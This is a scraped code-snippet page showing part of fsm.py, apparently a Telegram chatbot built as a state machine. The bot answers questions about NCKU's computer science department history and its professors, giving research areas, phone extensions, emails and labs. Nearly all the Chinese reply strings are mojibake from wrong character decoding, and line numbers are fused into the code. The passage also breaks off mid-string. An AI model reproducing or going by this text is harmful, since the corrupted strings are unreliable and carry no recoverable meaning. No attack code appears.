Best Python code snippet using playwright-python
fsm.py
Source:fsm.py
...266 text = update.message.text267 return text.lower() == 'turbo'268 def on_enter_stateNCKUCSIEIntroduction(self, update):269 update.message.reply_text("history or professor")270 #self.go_back(update)271 def on_exit_stateNCKUCSIEIntroduction(self, update):272 print('Leaving stateNCKUCSIEIntroduction')273 def on_enter_stateHistory(self, update):274 update.message.reply_text("ç³»ææ·å²è沿é©\næ¬ç³»çºåå°ç£ç¬¬ä¸åç´ä»¥è³è¨åè¨ç®æ©å·¥ç¨çºéå¿çé«ç´å¸è¡å®ä½ï¼ æ¼æ°åä¸åå
å¹´å
«ææç«ç¢©å£«çï¼å
«åä¸å¹´å
«ææç«å士çï¼ æ¼å
«åå
å¹´å
«ææç«å¤§å¸é¨ï¼ä¹åä¸å¹´å
«ææ´å¢å¤§å¸é¨çºå
©çï¼ ä¸¦æ¼ä¹åäºå¸å¹´åº¦åå¢è¨é«å¸è³è¨ç 究æï¼ä¸ç¾å¹´å
«æ製é è³è¨è系統ç 究ææ´åè³æ¬ç³»ï¼ä»¥ä¸ç³»ä¸æä¹æ¨¡å¼é²è¡ã\nçºå æåå
§é«ç§æç¢æ¥äººåéæ±ï¼ æ¯ä½ææåç 究çåç©æ¥µåèåå
§å¤å¸è¡æ´»åï¼ä¸¦å¨é«æ°´æºçæååæè°ä¸ç¼è¡¨ç 究ææï¼ ä¸¦æå¤ä½ææç²å¾å¸è¡æ¦®è½å¦åç§æååºç 究çççé
ã")275 self.go_back(update)276 def on_exit_stateHistory(self, update):277 print('Leaving stateHistory')278 def on_enter_stateProfessor(self, update):279 update.message.reply_text("1.é«å®å®\n2.é£éæ°\n3.æåç\n4.éè³ç°\n5.å³å®æ²\n6.å«æ°¸å¹´\n7.é»å´æ\n8.è¬å«æº\n9.é»å®ç«\n10.éèç
\n11.é³è£æ°\n12.è£æ¦®å
\n13.é³å¹æ®·\n14.æå¼·\n15.é³é¿äº®\n16.éæ²å®\n17.æ¥å¤§å\n18.èæéº\n19.å¼µçå
\n20.éæ·ç¾\n21.ç士豪\n22.èéæ¸
\n23.èå®ç« \n24.張大緯\n25.æ¢åå¯\n26.許éè³\n27.ç§æ祥\n28.æ¥ä¸å¹³\n29.èå´å±\n30.æè±è¶
\n31.å³æé¾\n32.é³æé\n33.æ家岩\n34.è¶æ¢ç¨\n35.è¡åå³\n36.èå¤é\n37.è¡ä½©ç\n38.è¡æå\n39.æ¶åæ\n40.æä¿¡æ°\n41.å¼µçç´\n42.é»æ¬ç¾¤\nexit")280 #self.go_back(update)281 def on_exit_stateProfessor(self, update):282 print('Leaving stateProfessor')283 def on_enter_state1(self, update):284 update.message.reply_text("é«å®å® ææ å
¼ 代ç系主任 å
¼ é«è³ææé·\n\nå°é·åç 究é å:\nè³è¨æª¢ç´¢/è³è¨æ·åãè³ææ¢åãæ©å¨å¸ç¿ãå
¨çè³è¨ç¶²è³è¨ç³»çµ±ãçç©è³è¨ã社群網路è¨ç®\n\nç³»æå¥ï¼\nè³è¨ç³» / è³è¨æ / é«è³æ\n\né»è©±ï¼\n06-2757575 ext 62546\n\nE-mailï¼\nhykao@mail.ncku.edu.tw\n\n實é©å®¤ï¼\næºæ
§åç¥è管ç實é©å®¤ (è³è¨ç³»é¤¨æ°å¤§æ¨9F 65903)\n\nå人網é ï¼\nhttp://myweb.ncku.edu.tw/~hykao/\n")285 self.go_back(update)286 def on_exit_state1(self, update):287 print('Leaving state1')288 289 def on_enter_state2(self, update):290 update.message.reply_text("é£éæ° ææ å
¼ å¯ç³»ä¸»ä»» å
¼ 製é ææé·\n\nå°é·åç 究é å:\næºæ
§åæ©å¨äººåèªååã人æ©äºååæ´å¢å¯¦å¢ã3Dèªåå
å¸æª¢æ¸¬ãè¦è¦ºä¼ºææ§å¶ãå½±åèç,3Dé»è
¦è¦è¦ºåå形辨èãæ©å¨å¸ç¿ãåµå
¥å¼ç³»çµ±ãé²ç«¯æºæ
§åç£æ§æå\n\nç³»æå¥ï¼\nè³è¨ç³» / è³è¨æ / 製é æ\n\né»è©±ï¼\n06-2757575 ext 62540\n\nE-mailï¼\njjlien@csie.ncku.edu.tw\n\n實é©å®¤ï¼\næ©å¨äººå¯¦é©å®¤ (è³è¨ç³»é¤¨æ°å¤§æ¨9F 65904)")291 self.go_back(update)292 def on_exit_state2(self, update):293 print('Leaving state2')294 295 def on_enter_state3(self, update):296 update.message.reply_text("æåç è¬åº§ææ\n\nå°é·åç 究é å:\n3Déæ²è¨è¨ (3D Game Design)ã3D NPRåç«åæ(3D Non-photo-realistic rendering)ãé»è
¦ç¹ªåèåç«(Computer Graphics and Animation)ãé»è
¦è¦è¦ºå模æ¬(Visualization)ãèæ¬å¯¦å¢èç°å¢(Virtual Reality and Environment)ãé«å¸æè¡æ¨¡æ¬ç³»çµ±(3D Medical Surgical Simulation and Application)ãVideo/Image Retargetingã3D Captcha Design for Internet Security\n\nç³»æå¥ï¼\nè³è¨ç³» / è³è¨æ\n\né»è©±ï¼\n06-2757575 ext 62531\n\nE-mailï¼\ntonylee@mail.ncku.edu.tw\n\n實é©å®¤ï¼\né»è
¦ç¹ªåç 究群/è¦è¦ºç³»çµ±å¯¦é©å®¤ (è³è¨ç³»é¤¨æ°å¤§æ¨7F 65701)")297 self.go_back(update)298 def on_exit_state3(self, update):299 print('Leaving state3')300 301 def on_enter_state4(self, update):302 update.message.reply_text("éè³ç° è¬åº§ææ\n\nå°é·åç 究é å:\nEå製é (å·¥æ¥4.0)ãåå°é«çç¢èªååãèæ¬é測ãé 測ä¿é¤ãæºæ
§å製é 系統\n\nç³»æå¥ï¼\nè³è¨ç³» / 製é æ\n\né»è©±ï¼\n06-2757575 ext 34224\n\nE-mailï¼\nchengft@mail.ncku.edu.tw\n\n實é©å®¤ï¼\nèªåå實é©å®¤ (èªå¼·æ ¡ååå¨è¨å大æ¨95619)\n\nå人網é ï¼\nhttp://super.ime.ncku.edu.tw/pages/teacher.htm")303 self.go_back(update)304 def on_exit_state4(self, update):305 print('Leaving state4')306 307 def on_enter_state5(self, update):308 update.message.reply_text("å³å®æ² è¬åº§ææ\n\nå°é·åç 究é å:\n人工æºæ
§è深度å¸ç¿ãèªé³èèªè
èå¥ãèªé³åæèè®é³ãå£è¿°èªè¨å°è©±èç解ãå¤åªé«æ
ç·è¾¨èè追蹤ãå½±é³å¤åªé«æè¦è檢索ãè½èªéå£/æèªå¸ç¿è¼å
ዎȏ
¦è¼å©å£èªªèªè¨å¸ç¿ãå¤åªé«äººæ©äºå\n\nç³»æå¥ï¼\nè³è¨ç³» / è³è¨æ\n\né»è©±ï¼\né»è©±ï¼06-2757575 ext 62521\n\nE-mailï¼\nchunghsienwu@gmail.com; chwu@csie.ncku.edu.tw\n\n實é©å®¤ï¼\nå¤åªé«äººæ©éè¨å¯¦é©å®¤ (è³è¨ç³»é¤¨æ°å¤§æ¨8F 65801)\n\nå人網é ï¼\nhttp://chinese.csie.ncku.edu.tw/web_tw/professor/")309 self.go_back(update)310 def on_exit_state5(self, update):311 print('Leaving state5')312 313 def on_enter_state6(self, update):314 update.message.reply_text("å«æ°¸å¹´ ç¹èææ\n\nå°é·åç 究é å:\nå½±åèçãé»è
¦è¦è¦ºãé«å¸å½±åãå·¥æ¥æª¢æ¸¬ãé«å¸è³è¨ãè¦è¨ç§å¸ãèæ¬ç°å¢\n\nç³»æå¥ï¼\nè³è¨ç³» / è³è¨æ / é«è³æ\n\né»è©±ï¼\n06-2757575 ext 62526\n\nE-mailï¼\nynsun@mail.ncku.edu.tw\n\n實é©å®¤ï¼\nè¦è¦ºç³»çµ±å¯¦é©å®¤ (è³è¨ç³»é¤¨æ°å¤§æ¨7F 65702)")315 self.go_back(update)316 def on_exit_state6(self, update):317 print('Leaving state6')318 319 def on_enter_state7(self, update):320 update.message.reply_text("é»å´æ ç¹èææ\n\nå°é·åç 究é å:\nç¡ç·åè¡å網路ååå®è¨è¨èåæãå¤åªé«èçå串æµæè¡ãç¶ è²éè¨èè¨ç®ãåµæ網路æç¨èæå\n\nç³»æå¥ï¼\nè³è¨ç³» / è³è¨æ\n\né»è©±ï¼\n06-2757575 ext 62523\n\nE-mailï¼\nhuangcm@locust.csie.ncku.edu.tw\ncmdhuang@gmail.com\n\n實é©å®¤ï¼\nå¤åªé«è¡åé»è
¦ç¶²è·¯å¯¦é©å®¤ (è³è¨ç³»é¤¨æ°å¤§æ¨3F 65303)")321 self.go_back(update)322 def on_exit_state7(self, update):323 print('Leaving state7')324 325 def on_enter_state8(self, update):326 update.message.reply_text("è¬å«æº ç¹èææ å
¼ ç ç¼é·\n\nå°é·åç 究é å:\n容é¯è¨ç®ãçç©è³è¨ãå¹³è¡ååæ£å¼è¨ç®ãæ¼ç®æ³è¨è¨èåæãåå½¢çè«\n\nç³»æå¥ï¼\nè³è¨ç³» / è³è¨æ / é«è³æ\n\né»è©±ï¼\n06-2757575 ext 62538\n\nE-mailï¼\nhsiehsy@mail.ncku.edu.tw\n\n實é©å®¤ï¼\näºé£ç¶²è·¯æ¨é«æçè¨ç®å¯¦é©å®¤ (è³è¨ç³»é¤¨æ°å¤§æ¨8F 65803)\n\nå人網é ï¼\nhttp://algorithm.csie.ncku.edu.tw/syhsieh.htm")327 self.go_back(update)328 def on_exit_state8(self, update):329 print('Leaving state8')330 331 def on_enter_state9(self, update):332 update.message.reply_text("é»å®ç« ç¹èææ\n\nå°é·åç 究é å:\nå¯ç¢¼æè¡ã網路å®å
¨ãè³è¨å®å
¨ãéç¦ç³»çµ±ãé¯èª¤æ§å¶ç¢¼ãéåå¯ç¢¼å¸\n\nç³»æå¥ï¼\nè³è¨ç³» / è³è¨æ\n\né»è©±ï¼\n06-2757575 ext 62524\n\nE-mailï¼\nhwangtl@csie.ncku.edu.tw\n\n實é©å®¤ï¼\néåè³è¨è網路å®å
¨å¯¦é©å®¤ (è³è¨ç³»é¤¨æ°å¤§æ¨6F 65603)")333 self.go_back(update)334 def on_exit_state9(self, update):335 print('Leaving state9')336 337 def on_enter_state10(self, update):338 update.message.reply_text("éèç
ç¹èææ\n\nå°é·åç 究é å:\nåµå
¥å¼ç³»çµ±èæç¨ãæ測網路èé¨æè¨ç®ãå¯¬é »ç¶²è·¯ç³»çµ±ãæºæ
§åè³è¨ç³»çµ±ã網é網路æåãç©ä»¶å°åå¼è¨è¨ã模ç³ç³»çµ±ãç¥è庫系統ã系統æ¶çè¨è¨ã人工æºæ
§ãæ
å¢æç¥ãæ¸ä½å®¶åº\n\nç³»æå¥ï¼\nè³è¨ç³» / è³è¨æ / é«è³æ\n\né»è©±ï¼\n06-2757575 ext 62522\n\nE-mailï¼\nkuoyh@ismp.csie.ncku.edu.tw\n\n實é©å®¤ï¼\næºæ
§å系統æ¨åªé«èç實é©å®¤ (è³è¨ç³»é¤¨æ°å¤§æ¨5F 65507)")339 self.go_back(update)340 def on_exit_state10(self, update):341 print('Leaving state10')342 343 def on_enter_state11(self, update):344 update.message.reply_text("é³è£æ° ç¹èææ\n\nç³»æå¥ï¼\nè³è¨ç³» / 製é æ\n\né»è©±ï¼\n06-2757575 ext 34222\n\nE-mailï¼\nymchen@mail.ncku.edu.tw\n\n實é©å®¤ï¼\nä¼æ¥å·¥ç¨èæ´å實é©å®¤ (èªå¼·æ ¡ååå¨è¨å大æ¨95604)")345 self.go_back(update)346 def on_exit_state11(self, update):347 print('Leaving state11')348 349 def on_enter_state12(self, update):350 update.message.reply_text("è£æ¦®å
ç¹èææ å
¼ è¨ç®æ©è網路ä¸å¿ä¸»ä»»\n\nå°é·åç 究é å:\nçé«è³è¨æ¢åã人工æºæ
§ãæºæ
§åè¨ç®ãé²ç«¯é«çç
§è·ãççè幹細èç 究ãå·¨éè³æåæãææç©¿æ´è£ç½®è¡åè¨ç®\n\nç³»æå¥ï¼\nè³è¨ç³» / è³è¨æ / é«è³æ / è¨ç¶²ä¸å¿\n\né»è©±ï¼\n06-2757575 ext 62534\n\nE-mailï¼\njchiang@mail.ncku.edu.tw\n\n實é©å®¤ï¼\næºæ
§åè³è¨æ·å實é©å®¤ (è³è¨ç³»é¤¨æ°å¤§æ¨6F 65604)")351 self.go_back(update)352 def on_exit_state12(self, update):353 print('Leaving state12')354 355 def on_enter_state13(self, update):356 update.message.reply_text("é³å¹æ®· ç¹èææ å
¼ é»è³å¸é¢å¯é¢é·\n\nå°é·åç 究é å:\nVLSIé»è·¯/FPGAæ¶çè¨è¨ã人工æºæ
§AIå½±åèçèæç¨ãè³è¨ç³»çµ±éç¼ãåµå
¥å¼ç³»çµ±éç¼è¨è¨\n\nç³»æå¥ï¼\nè³è¨ç³» / è³è¨æ\n\né»è©±ï¼\n06-2757575 ext 62547\n\nE-mailï¼\npychen@mail.ncku.edu.tw\n\n實é©å®¤ï¼\næ¸ä½æ¶çè¨è¨å¯¦é©å®¤ (è³è¨ç³»é¤¨æ°å¤§æ¨10F 65A01)")357 self.go_back(update)358 def on_exit_state13(self, update):359 print('Leaving state13')360 361 def on_enter_state14(self, update):362 update.message.reply_text("æå¼· ææ\n\nå°é·åç 究é å:\n大æ¸æ/å·¨éè³æèçæè¡ã社群網ç«/é²ç«¯å¹³è¡è¨ç®ãå°çè³è¨ç³»çµ±ã網é網路è³æ庫èèçæè¡\n\nç³»æå¥ï¼\nè³è¨ç³» / è³è¨æ\n\né»è©±ï¼\n06-2757575 ext 62528\n\nE-mailï¼\nleec@mail.ncku.edu.tw\n\n實é©å®¤ï¼\né«çè³æ系統(ADS)實é©å®¤ (è³è¨ç³»é¤¨æ°å¤§æ¨3F 65302)")363 self.go_back(update)364 def on_exit_state14(self, update):365 print('Leaving state14')366 367 def on_enter_state15(self, update):368 update.message.reply_text("é³é¿äº® ææ\n\nå°é·åç 究é å:\nè³è¨èæ©é»æ´åãæºæ
§åé 端ç£æ§ç³»çµ±ãC#ç©ä»¶å°åç¨å¼è¨è¨ãPC-based å¤è»¸æ§å¶å¨è¨è¨ãèªååå
å¸æª¢æ¸¬ãCAD/CAMãé²ç«¯æå系統\n\nç³»æå¥ï¼\nè³è¨ç³» / 製é æ\n\né»è©±ï¼\n06-2757575 ext 61001\n\nE-mailï¼\nslchen@mail.ncku.edu.tw\n\n實é©å®¤ï¼\nè³è¨èæ©é»æ´å實é©å®¤ (èªå¼·æ ¡ååå¨è¨å大æ¨95507)\n\nå人網é ï¼\nhttp://140.116.86.180")369 self.go_back(update)370 def on_exit_state15(self, update):371 print('Leaving state15')372 373 def on_enter_state16(self, update):374 update.message.reply_text("éæ²å® ææ\n\nå°é·åç 究é å:\né²ç«¯è¨ç®,è¡åè£ç½®Appç 究èéç¼,ç¡ç·éè¨, è¡åè¨ç®, æ¸ä½çæ´»ç§æ, éåè¨ç®èéè¨, é»è
¦ç¶²è·¯\n\nç³»æå¥ï¼\nè³è¨ç³» / è³è¨æ\n\né»è©±ï¼\n06-2757575 ext 62529\n\nE-mailï¼\nstcheng@mail.ncku.edu.tw\n\n實é©å®¤ï¼\n塵éæç¥èé²ç«¯è¨ç®å¯¦é©å®¤ (è³è¨ç³»é¤¨æ°å¤§æ¨6F 65607)")375 self.go_back(update)376 def on_exit_state16(self, update):377 print('Leaving state16')378 379 def on_enter_state17(self, update):380 update.message.reply_text("æ¥å¤§å ææ\n\nç³»æå¥ï¼\nè³è¨ç³» / 製é æ\n\né»è©±ï¼\n06-2757575 ext 34225\n\nE-mailï¼\ntyang@mail.ncku.edu.tw\n\n實é©å®¤ï¼\n製é 管ç實é©å®¤ (èªå¼·æ ¡ååå¨è¨å大æ¨95623)")381 self.go_back(update)382 def on_exit_state17(self, update):383 print('Leaving state17')384 385 def on_enter_state18(self, update):386 update.message.reply_text("èæéº ææ\n\nå°é·åç 究é å:\næ¸ä½é³è¨èçãå½±åè¦è¨èçèå£ç¸®ãé»è
¦é³æ¨åæåæãæ件影åèçãåªé«èçæ©è¨è¨ãMPEG-4å¤åªé«æ¨æºãæ¸ä½è¨èèçç¨SoC\n\nç³»æå¥ï¼\nè³è¨ç³» / è³è¨æ / é«è³æ\n\né»è©±ï¼\n06-2757575 ext 62537\n\nE-mailï¼\nalvinsu@mail.ncku.edu.tw\n\n實é©å®¤ï¼\né³æ¨å¤åªé«ç³»çµ±å¯¦é©å®¤ (è³è¨ç³»é¤¨æ°å¤§æ¨7F 65707)")387 self.go_back(update)388 def on_exit_state18(self, update):389 print('Leaving state18')390 391 def on_enter_state19(self, update):392 update.message.reply_text("å¼µçå
ææ\n\nå°é·åç 究é å:\nRouter & Switch DesignãScalable Web ServerãCooperative Web ProxyãQoSãNetwork Processor DesignãComputer ArchitectureãMultiprocessor Network and Cache Coherence DesignãFault-Tolerant\n\nç³»æå¥ï¼\nè³è¨ç³» / è³è¨æ\n\né»è©±ï¼\n06-2757575 ext 62539\n\nE-mailï¼\nykchang@mail.ncku.edu.tw\n\n實é©å®¤ï¼\nè¨ç®æ©ç¶²è·¯æ¶æ§å¯¦é©å®¤ (è³è¨ç³»é¤¨æ°å¤§æ¨5F 65502)\n\nå人網é ï¼\nhttp://cial.csie.ncku.edu.tw/")393 self.go_back(update)394 def on_exit_state19(self, update):395 print('Leaving state19')396 397 def on_enter_state20(self, update):398 update.message.reply_text("éæ·ç¾ ææ\n\nå°é·åç 究é å:\nå½±åèçãé«çå½±åèçãé²åè¨ç®è«ã渾æ²ç³»çµ±æç¨ã模ç³çè«ã系統工ç¨\n\nç³»æå¥ï¼\nè³è¨ç³» / è³è¨æ / é«è³æ\n\né»è©±ï¼\n06-2757575 ext 62525\n\nE-mailï¼\nguosm@mail.ncku.edu.tw\n\n實é©å®¤ï¼\næºæ
§åæ¸ä½å½±åèç實é©å®¤ (è³è¨ç³»é¤¨æ°å¤§æ¨4F 65403)")399 self.go_back(update)400 def on_exit_state20(self, update):401 print('Leaving state20')402 403 def on_enter_state21(self, update):404 update.message.reply_text("ç士豪 ææ å
¼ æ大é«é¢è³è¨å®¤ä¸»ä»»\n\nå°é·åç 究é å:\nè¶
é³æ³¢è¨èåæåæè¡ãè¶
é³æ³¢éå¥çç©çµç¹èææãé«ç¨ç©è¯ç¶²èæ©å¨å¸ç¿ãè¨èèå½±åèçãé«å¸èå¥åº·ç
§è·è³è¨ãé«çå¨æ\n\nç³»æå¥ï¼\nè³è¨ç³» / è³è¨æ / é«è³æ\n\né»è©±ï¼\n06-2757575 ext 62519\n\nE-mailï¼\nshyhhau@mail.ncku.edu.tw\n\n實é©å®¤ï¼\nçé«è¶
é³æ³¢ç³»çµ±å¯¦é©å®¤ (è³è¨å¤§æ¨8æ¨) (è³è¨ç³»é¤¨æ°å¤§æ¨8F 65804)")405 self.go_back(update)406 def on_exit_state21(self, update):407 print('Leaving state21')408 409 def on_enter_state22(self, update):410 update.message.reply_text("èéæ¸
ææ\n\nå°é·åç 究é å:\nå
æ¥å網路ãå¤æ³¢é·åæ³¢å¤å·¥å
çºç¶²è·¯ãç¡ç·æ測網路ã網é網路é»è¦ç³»çµ±\n\nç³»æå¥ï¼\nè³è¨ç³» / è³è¨æ\n\né»è©±ï¼\n06-2757575 ext 62543\n\nE-mailï¼\nsuecc@mail.ncku.edu.tw\n\n實é©å®¤ï¼\nå¯é è¨ç®å網路實é©å®¤ (è³è¨ç³»é¤¨æ°å¤§æ¨7F 65703)")411 self.go_back(update)412 def on_exit_state22(self, update):413 print('Leaving state22')414 415 def on_enter_state23(self, update):416 update.message.reply_text("èå®ç« ææ\n\nå°é·åç 究é å:\nå·¨éè³æå²åé«èè¨ç®å¹³å°ãApacheéæºå°æ¡ãå¹³è¡æ¨åæ£å¼è¨ç®ãé²ç«¯è¨ç®ãåå網路\n\nç³»æå¥ï¼\nè³è¨ç³» / è³è¨æ\n\né»è©±ï¼\n06-2757575 ext 62548\n\nE-mailï¼\nhchsiao@csie.ncku.edu.tw\n\n實é©å®¤ï¼\nåæ£å¼è¨ç®å¯¦é©å®¤ (è³è¨ç³»é¤¨æ°å¤§æ¨10F 65A03)")417 self.go_back(update)418 def on_exit_state23(self, update):419 print('Leaving state23')420 421 def on_enter_state24(self, update):422 update.message.reply_text("張大緯 ææ\n\nå°é·åç 究é å:\n容é¯æ©å¶ãä½æ¥ç³»çµ±ãèæ¬æ©å¨ãåµå
¥å¼ç³»çµ±\n\nç³»æå¥ï¼\nè³è¨ç³» / è³è¨æ\n\né»è©±ï¼\n06-2757575 ext 62551\n\nE-mailï¼\ndavidchang@csie.ncku.edu.tw\n\n實é©å®¤ï¼\nä½æ¥ç³»çµ±èåµå
¥å¼ç³»çµ±å¯¦é©å®¤ (è³è¨ç³»é¤¨æ°å¤§æ¨4F 65409)\n\nå人網é ï¼\nhttp://140.116.247.213/")423 self.go_back(update)424 def on_exit_state24(self, update):425 print('Leaving state24')426 427 def on_enter_state25(self, update):428 update.message.reply_text("æ¢åå¯ ææ\n\nå°é·åç 究é å:\næºæ
§åç§æåå
¶æç¨ãç¥ç¶èªç¥è
¦æ©çé¢ãçé«è¨èèçãå¯æå¼åµå
¥å¼ç³»çµ±ãå¤åªé«è¨èè系統\n\nç³»æå¥ï¼\nè³è¨ç³» / è³è¨æ / é«è³æ\n\né»è©±ï¼\n06-2757575 ext 62549\n\nE-mailï¼\nsfliang@mail.ncku.edu.tw\n\nå人網é ï¼\nncbci.csie.ncku.edu.tw")429 self.go_back(update)430 def on_exit_state25(self, update):431 print('Leaving state25')432 433 def on_enter_state26(self, update):434 update.message.reply_text("許éè³ å¯ææ\n\nå°é·åç 究é å:\nå
æ³¢åå²å¤å·¥ç¶²è·¯ãç¹å¾çç¥è¨è¨ã網é網路éè¨åå®\n\nç³»æå¥ï¼\nè³è¨ç³» / è³è¨æ\n\né»è©±ï¼\n06-2757575 ext 62535\n\nE-mailï¼\nhsucf@csie.ncku.edu.tw\n\n實é©å®¤ï¼\né«é網路實é©å®¤ (è³è¨ç³»é¤¨æ°å¤§æ¨5F 65503)")435 self.go_back(update)436 def on_exit_state26(self, update):437 print('Leaving state26')438 439 def on_enter_state27(self, update):440 update.message.reply_text("ç§æ祥 å¯ææ\n\nå°é·åç 究é å:\næ件æ¢åã網路æ¢åãè³è¨æª¢ç´¢ãèªç¶èªè¨èçãæ©å¨ç¿»è¯ãè·¨èªç¥è系統ãæ¸ä½å
¸èãé«å¸è³è¨æª¢ç´¢\n\nç³»æå¥ï¼\nè³è¨ç³» / è³è¨æ / é«è³æ\n\né»è©±ï¼\n06-2757575 ext 62545\n\nE-mailï¼\nwhlu@mail.ncku.edu.tw\n\n實é©å®¤ï¼\n網路æ¢åæ¨è·¨èªç¥è系統實é©å®¤ (è³è¨ç³»é¤¨æ°å¤§æ¨8F 65802)")441 self.go_back(update)442 def on_exit_state27(self, update):443 print('Leaving state27')444 445 def on_enter_state28(self, update):446 update.message.reply_text("æ¥ä¸å¹³ å¯ææ\n\nå°é·åç 究é å:\nMicroprocessor Architecture and InterfaceãReal-time Embedded SystemãVirtual Instrumentation\n\nç³»æå¥ï¼\nè³è¨ç³» / è³è¨æ / é«è³æ\n\né»è©±ï¼\n06-2757575 ext 62533\n\nE-mailï¼\ndryncku@gmail.com\n\n實é©å®¤ï¼\nè¯ç¶²ååµå
¥å¼æç¨èæè¡å¯¦é©å®¤ (è³è¨ç³»é¤¨æ°å¤§æ¨4F 65402)")447 self.go_back(update)448 def on_exit_state28(self, update):449 print('Leaving state28')450 451 def on_enter_state29(self, update):452 update.message.reply_text("èå´å± å¯ææ\n\nå°é·åç 究é å:\nè»è¼ç¶²è·¯, æ測網路, ç©è¯ç¶², é é²é«å¸å¤§è³æåæ, é²ç«¯ç
§è·, ä¸é«é»è
¦å(èªå診æ·. ç¡çéç¸, æºæ
§èæ¹ç³»\n\nç³»æå¥ï¼\nè³è¨ç³» / è³è¨æ / é«è³æ\n\né»è©±ï¼\n06-2757575 ext 62550\n\nE-mailï¼\nklan@csie.ncku.edu.tw\n\n實é©å®¤ï¼\nç²¾æºé«çè網路系統實é©å®¤ (è³è¨ç³»é¤¨æ°å¤§æ¨5F 65501)\n\nå人網é ï¼\nhttp://www.csie.ncku.edu.tw/~klan/")453 self.go_back(update)454 def on_exit_state29(self, update):455 print('Leaving state29')456 457 def on_enter_state30(self, update):458 update.message.reply_text("æè±è¶
å¯ææ\n\nå°é·åç 究é å:\nè¨ç®æ©çµæ§ãå¯é ç¯è½ç³»çµ±è¨è¨ãé»åè¨è¨èªååãåµå
¥å¼ç³»çµ±è¨è¨ãè¶
大åç©é«é»è·¯/系統å®æ¶çè¨è¨ ãç©è¯ç¶²ç³»çµ±åæ¶æ§ãè¨æ¶é«ç³»çµ±åæ¶æ§ãæ¸ä½ç³»çµ±è¨è¨ãç°è³ªéç®ç³»çµ±åæ¶æ§è¨è¨\n\nç³»æå¥ï¼\nè³è¨ç³» / è³è¨æ\n\né»è©±ï¼\n06-2757575 ext 62553\n\nE-mailï¼\niclin@csie.ncku.edu.tw\n\n實é©å®¤ï¼\né»è
¦æ¶æ§èæ¶çè¨è¨å¯¦é©å®¤ (è³è¨ç³»é¤¨æ°å¤§æ¨10F 65A02)\n\nå人網é ï¼\nhttps://sites.google.com/a/caid.tw/iclin/")459 self.go_back(update)460 def on_exit_state30(self, update):461 print('Leaving state30')462 463 def on_enter_state31(self, update):464 update.message.reply_text("å³æé¾ å¯ææ\n\nå°é·åç 究é å:\nçé«å½±åèçãå¹³è¡è¨ç®ãæ ¸ç£å
±æ¯å½±åæåæè¡ã大è
¦åè½æ§ç£æ¯é å½±ãæ ¸ç£å
±æ¯èè¡åºåè¨è¨ãæ©å¨å¸ç¿ãè³æç§å¸\n\nç³»æå¥ï¼\nè³è¨ç³» / è³è¨æ / é«è³æ\n\né»è©±ï¼\n06-2757575 ext 62541\n\nE-mailï¼\nminglong.wu@csie.ncku.edu.tw\n\n實é©å®¤ï¼\nçé«å½±å實é©å®¤ (è³è¨ç³»é¤¨æ°å¤§æ¨9F 65902)")465 self.go_back(update)466 def on_exit_state31(self, update):467 print('Leaving state31')468 469 def on_enter_state32(self, update):470 update.message.reply_text("é³æé å¯ææ\n\nç³»æå¥ï¼\nè³è¨ç³» / 製é æ\n\né»è©±ï¼\n06-2757575 ext 34226\n\nE-mailï¼\nchaochun@mail.ncku.edu.tw\n\n實é©å®¤ï¼\n製é èè¡åè³æ庫實é©å®¤ (èªå¼·æ ¡ååå¨è¨å大æ¨95508)")471 self.go_back(update)472 def on_exit_state32(self, update):473 print('Leaving state32')474 475 def on_enter_state33(self, update):476 update.message.reply_text("æ家岩 å¯ææ\n\nç³»æå¥ï¼\nè³è¨ç³» / 製é æ\n\né»è©±ï¼\n06-2757575 ext 34223\n\nE-mailï¼\ncylee@mail.ncku.edu.tw\n\n實é©å®¤ï¼\nçç¢åæä½³å實é©å®¤")477 self.go_back(update)478 def on_exit_state33(self, update):479 print('Leaving state33')480 481 def on_enter_state34(self, update):482 update.message.reply_text("è¶æ¢ç¨ å¯ææ\n\nå°é·åç 究é å:\né«å¸å½±åèæ¸ä½å½±åèçãè¨ç®ç¥ç¶å¸ãç£æ¯é å½±æè¡ãç£æ¯é å½±å éæ¼ç®æ³ãåå系統模æ¬\n\nç³»æå¥ï¼\nè³è¨ç³» / è³è¨æ / é«è³æ\n\né»è©±ï¼\n06-2757575 ext\n\nE-mailï¼\ntcchao@mail.ncku.edu.tw\n\n實é©å®¤ï¼\né«å¸å½±åèç實é©å®¤ (è³è¨ç³»é¤¨æ°å¤§æ¨4F 65401)")483 self.go_back(update)484 def on_exit_state34(self, update):485 print('Leaving state34')486 487 def on_enter_state35(self, update):488 update.message.reply_text("è¡åå³ å¯ææ\n\nå°é·åç 究é å:\n網路æè½è©ä¼°ãè¡å網路è¨è¨èåæã網é網路é»è©±ãè¡åè¨ç®ãè¡å網路è網é網路æ´å\n\nç³»æå¥ï¼\nè³è¨ç³» / è³è¨æ\n\né»è©±ï¼\n06-2757575 ext 62518\n\nE-mailï¼\ntsaimh@csie.ncku.edu.tw\n\n實é©å®¤ï¼\næºæ
§åè¡åæå實é©å®¤ (è³è¨ç³»é¤¨æ°å¤§æ¨10F 65A04)\n\nå人網é ï¼\nhttp://imslab.org/~tsaimh/")489 self.go_back(update)490 def on_exit_state35(self, update):491 print('Leaving state35')492 493 def on_enter_state36(self, update):494 update.message.reply_text("èå¤é å©çææ\n\nå°é·åç 究é å:\nè³ææ¢åãè³æ庫系統ãè¡åéç®ã網路è³è¨ç³»çµ±\n\nç³»æå¥ï¼\nè³è¨ç³» / è³è¨æ / é«è³æ\n\né»è©±ï¼\n06-2757575 ext 62556\n\nE-mailï¼\nktchuang@mail.ncku.edu.tw\n\n實é©å®¤ï¼\nåç»ç¶²è·¯è³æ庫實é©å®¤ (è³è¨ç³»é¤¨æ°å¤§æ¨6F 65602)\n\nå人網é ï¼\nhttp://cv_ktchuang.cannerapp.com/")495 self.go_back(update)496 def on_exit_state36(self, update):497 print('Leaving state36')498 499 def on_enter_state37(self, update):500 update.message.reply_text("è¡ä½©ç å©çææ\n\nå°é·åç 究é å:\nå³æå®ä½èå°èªæåãæºæ
§å系統èæç¨ç¨å¼éç¼ãå½±åå£ç¸®èå³æå³è¼¸ãå³ææç¨çè«ã使ç¨è
